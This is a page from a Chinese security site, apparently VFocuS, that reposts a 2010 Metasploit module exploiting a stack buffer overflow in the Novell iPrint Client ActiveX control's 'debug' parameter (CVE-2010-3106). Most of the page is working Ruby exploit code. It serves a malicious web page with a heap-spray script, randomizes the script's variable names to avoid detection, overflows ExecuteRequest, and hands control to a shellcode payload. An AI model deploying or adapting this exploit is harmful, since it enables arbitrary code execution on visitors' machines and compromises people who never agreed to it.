首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell iPrint Client ActiveX Control 'debug' Buffer Overflow Exploit
来源:http://www.rec-sec.com 作者:Trancer 发布时间:2010-09-23  

##
# novelliprint_executerequest_dbg.rb
#
# Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
#  - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.3.2.0 and 5.4.0.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
#  - CVE-2010-3106
#  - OSVDB 66960
#  - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
#  - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
#  - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
#  - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell iPrint Client ActiveX Control debug Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.
     When sending an overly long string to the 'debug' parameter in ExecuteRequest()
     property of ienipp.ocx an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Trancer <mtrancer[at]gmail.com' ],
   'Version'        => '$Revision:$',
   'References'     =>
    [
     [ 'CVE', '2010-3106' ],
     [ 'OSVDB', '66960'],
     [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ], # Aaron Portnoy, TippingPoint DVLabs
     [ 'URL', 'http://www.exploit-db.com/exploits/15001/' ],    # MOAUB #14
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]
    ],
   'DisclosureDate' => 'Aug 04 2010',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
  # Setup exploit buffers
  nops    = Rex::Text.to_unescape([target.ret].pack('V'))
  ret     = Rex::Text.uri_encode([target.ret].pack('L'))
  blocksize = 0x40000
  fillto    = 500
  offset    = target['Offset']
  
  # ActiveX parameters
  clsid  = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
  op  = "op-client-interface-version"
  dbg  = "debug="

  # Randomize the javascript variable names
  ienipp       = rand_text_alpha(rand(100) + 1)
  j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops       = rand_text_alpha(rand(100) + 1)
  j_ret        = rand_text_alpha(rand(100) + 1)
  j_headersize = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_block      = rand_text_alpha(rand(100) + 1)
  j_memory     = rand_text_alpha(rand(100) + 1)
  j_op      = rand_text_alpha(rand(100) + 1)
  j_dbg      = rand_text_alpha(rand(100) + 1)
  j_counter    = rand_text_alpha(rand(30) + 2)

  html = %Q|<html>
<object classid='clsid:#{clsid}' id='#{ienipp}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
 #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}

var #{j_ret} = '';
for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {
 #{j_ret} += unescape('#{ret}');
}
#{j_op} = "#{op}"; 
#{j_dbg} = "#{dbg}";
#{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret}); 
</script>
</html>|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Novell iPrint Client ActiveX C
·Ubuntu Linux 'mountall' Local
·Softek Barcode Reader Toolkit
·gausCMS Multiple Vulnerabiliti
·Acoustica Audio Converter Pro
·Adobe Shockwave Director tSAC
·Personal.Net Portal Multiple V
·Skybluecanvas.v1.1-r248 CSRF v
·MP3 Workstation Version 9.2.1.
·万博网站管理系统(NWEB)通杀漏洞
·mobile ringtone audio converte
·BifrsoT DLL Hijacking Exploit
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved